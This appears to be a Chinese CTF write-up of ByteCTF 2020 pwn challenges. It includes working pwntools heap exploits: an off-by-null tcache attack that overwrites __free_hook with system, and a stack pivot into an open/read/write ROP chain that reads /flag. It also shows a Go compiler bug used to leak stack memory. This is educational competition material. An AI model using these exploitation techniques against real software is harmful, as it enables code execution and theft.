Bytectf2020pwn整理和复现 Surager

Bytectf2020pwn

这次比赛差一点就进线下了呜呜呜,wtcl。两道堆题都是做到一半就被cnitlrt师傅秒了,tql。剩下的golang pwn直接看自闭了呜呜呜。整理一下几道题的思路,学习一下。

easyheap

$ checksec easyheap
[*] '/root/work/easyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ file easyheap    
easyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=028736f7d4457a774846fa739ea450bee2cfa5eb, for GNU/Linux 3.2.0, stripped

主要函数:add,里面有一个任意地址off-by-null。

unsigned __int64 add()
{
  __int16 v1; // [rsp+8h] [rbp-18h]
  __int16 v2; // [rsp+Ah] [rbp-16h]
  int i; // [rsp+Ch] [rbp-14h]
  void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 7 && *(&unk_4060 + 4 * i); ++i )
    ;
  if ( i <= 7 )
  {
    v2 = 0;
    printf("Size: ");
    __isoc99_scanf("%hd", &v1);
    v2 = v1; //输入一个非法数进循环,然后就保留了下来
    if ( v1 <= 0 || v1 > 128 )
    {
      do
      {
        do
        {
          puts("Invalid size.");
          printf("Size: ", &v1);
          __isoc99_scanf("%hd", &v1);
        }
        while ( v1 <= 0 );
      }
      while ( v1 > 0x80 );
    }
    else
    {
      v2 = v1;
    }
    s = malloc(v1);
    if ( !s )
    {
      puts("Malloc error.");
      exit(2);
    }
    memset(s, 0, v1);
    printf("Content: ", 0LL);
    myread(s, v1);
    *(s + v2 - 1) = 0;
    *(&unk_4060 + 4 * i) = v1;
    chunklist[2 * i] = s;
    puts("Finish.");
  }
  else
  {
    puts("Too many chunks.");
  }
  return __readfsqword(0x28u) ^ v5;
}

思路:tcache dup打size,free得到libc_base。再tcache dup,打__malloc_hook

wtcl,真的。等看到这个洞的时候题已经被cnitlrt师傅秒了。wtcl。

exp

交互

from pwn import *
from random import randint
a = process(["./easyheap"],env={"LD_PRELOAD":"./libc-2.31.so.9.1"})
libc = ELF("./libc-2.31.so.9.1")
#context.log_level = 'debug'

choo = lambda x:a.sendlineafter(">>",str(x))
size = lambda x:a.sendlineafter("Size:",str(x))
cont = lambda x:a.sendlineafter("Content:",x)
inde= lambda x:a.sendlineafter("Index:",str(x))
ia = lambda : a.interactive()


def add(sz,nm):
    choo(1)
    size(sz)
    cont(nm)

def aadd(sz1,sz2,nm):
    choo(1)
    size(sz1)
    size(sz2)
    cont(nm)

def show(idx):
    choo(2)
    inde(idx)

def free(idx):
    choo(3)
    inde(idx)

先off-by-null改fd拿到size位置。

add(0x68, b"\x00" * 0x50+p64(0)+p64(0x91)+p64(0))#0
add(0x80,"\x00"*0x80)#1
add(0x60, "\x00" * 0x60)#2
free(2)
free(0)
aadd(-(0x16f),0x80,"\x00"*0x80)#0
add(0x68,b"\x00" * 0x50+p64(0)+p64(0x91)+p64(0))#2 0x91伪造overlapping chunk的size位置等会儿可以free

然后通过大量的malloc、free将next chunk设为合法。

从而拿到libc。

add(0x80,"a"*0x80)#3
add(0x80,"a"*0x80)#4
add(0x80,"a"*0x80)#5
add(0x80,"a"*0x80)#6
free(3)
add(0x78,"a"*0x78)#3
free(3)
add(0x48,"\n")
free(3)
add(0x28,"\n")
free(3)
add(0x38,"\n")
free(3)
add(0x18,"\n")
free(3)
add(0x68,p64(0)+p64(0x511)+b"\n")#3
free(1)
add(0x80,"\n")#1
add(0x80,"\n")#7
free(1)
add(0x68,"/bin/sh\x00")#1
show(0)
libc_base = u64(a.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ebbe0
log.info(f"{libc_base = :#x}")

再用overlapping的那个chunk打__free_hook

free(7)
free(3)
free(2)
add(0x80,p64(0)+p64(0x91)+p64(libc_base+libc.sym['__free_hook']))
add(0x80,'a')
add(0x80,p64(libc_base+libc.sym['system']))
free(1)

得到shell

gun

# file gun
gun: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=936c46e401068c3ca722e49ec2c8668a027e5374, for GNU/Linux 3.2.0, stripped
# checksec gun
[*] '/root/work/gun'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

libc2.31、开seccomp、开CET,恰💰三部曲。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

功能:

三个功能,一个是加一个堆块,一个是将一个堆块放入将要free的链表中,另一个是递归free链表中的chunk。

由于free之前先泄露内容,free之后用于free的指针没有清零,因此可以轻松地进行leak和double free。这里不再写这一步骤。

主要写一下double free得到__free_hook之后要去干啥。

现在最清晰的思路就是开启setcontext+61然后进行orw的ROP。但是当程序进入到setcontext+61的时候发现rdx并不满足要求,程序会直接crash掉。因此我们需要换一种思路。

再一种思路就是先进行栈迁移,再ROP。(你要是想直接ROP,当我没说)这就涉及到一个问题,怎么进行栈迁移呢?

有一种叫PCOP的技术。与ROP和JOP类似,这种gadget是以一个call命令结尾的,能够利用这个进行一次任意地址的call。

如果执意要进行setcontext,我们的本意就不是进行任意地址调用,而是利用PCOP的前置参数传递来进行寄存器数值,从而使得setcontext不会crash掉。这个思路详情请见隔壁W&M Bytectf2020 Writeup

然后说一下栈迁移的思路。有些PCOP的gadget长成这样: mov rdx, qword ptr [rdi + 8]; ...... ; call qword ptr [rdx + 0x20];,像这样的gadget可以控制rdx,同时又可以call一次,而我们只要在[rdx+0x20]放入0x000000000005e650: mov rsp, rdx; ret;这个,就可以进行一次栈迁移。布置好ROP链,然后进行orw。

payload1 = p64(0) +p64(heap_base+0x7e0)+b"/flag\x00\x00\x00\n"
add(0x40,payload1)
payload2 = p64(rdi_ret)+p64(heap_base+0x7a0) + p64(rsi_ret2)+p64(0) + p64(gg) + p64(open_)
payload2 += p64(rdi_ret) + p64(3) + p64(rsi_ret) + p64(heap_base+0x7e0) + p64(rdx_ret) + p64(0x30)+p64(0) + p64(read)
payload2 += p64(rdi_ret) + p64(1) + p64(rsi_ret) + p64(heap_base+0x7e0) + p64(rdx_ret) + p64(0x30)+p64(0) + p64(write)
add(0xb0,payload2+b"\n")
load(12)
pause()
free(1)

free第一个堆块的时候会将堆地址给到rdi。然后会将[rdi + 8]给rdx,在这个地方填入ROP链的地址然后在ROP链+0x20的位置填入mov rsp, rdx的地址,等到ROP的时候通过pop将此gadget出链即可。

leak

从golang的github仓库里面找issue,找到一个编译器的bug github issue 40367

这个bug可以无限打印栈上的信息。

这么输入就行了

func hack() {
        rates:=[]int32{1,2,3,4,5,6}
    for star, rate := range rates {
        if star+1 < 1 {
            panic("")
        }


        println(star, string(rate-1))
    }
}

输出类似这样:

0 ^@
1 ^A
2 ^B
3 ^C
4 ^D
5 ^E
6 �
7 ¿
8 𶝏
9 ¿
10 �
11 �
12 f
13 �
14 l
15 �
16 a
17 �
18 g
19 �
20 {
21 �
22 }
23 �
24 ^@
25 �
26 ^@
27 �
28 ^@
29 �
30 ^@
31 �
32 ^@
33 �
34 ^@
35 �
36 ^@
37 �

总结

学了几个gadget,认识了几个带佬,没进线下,wtcl。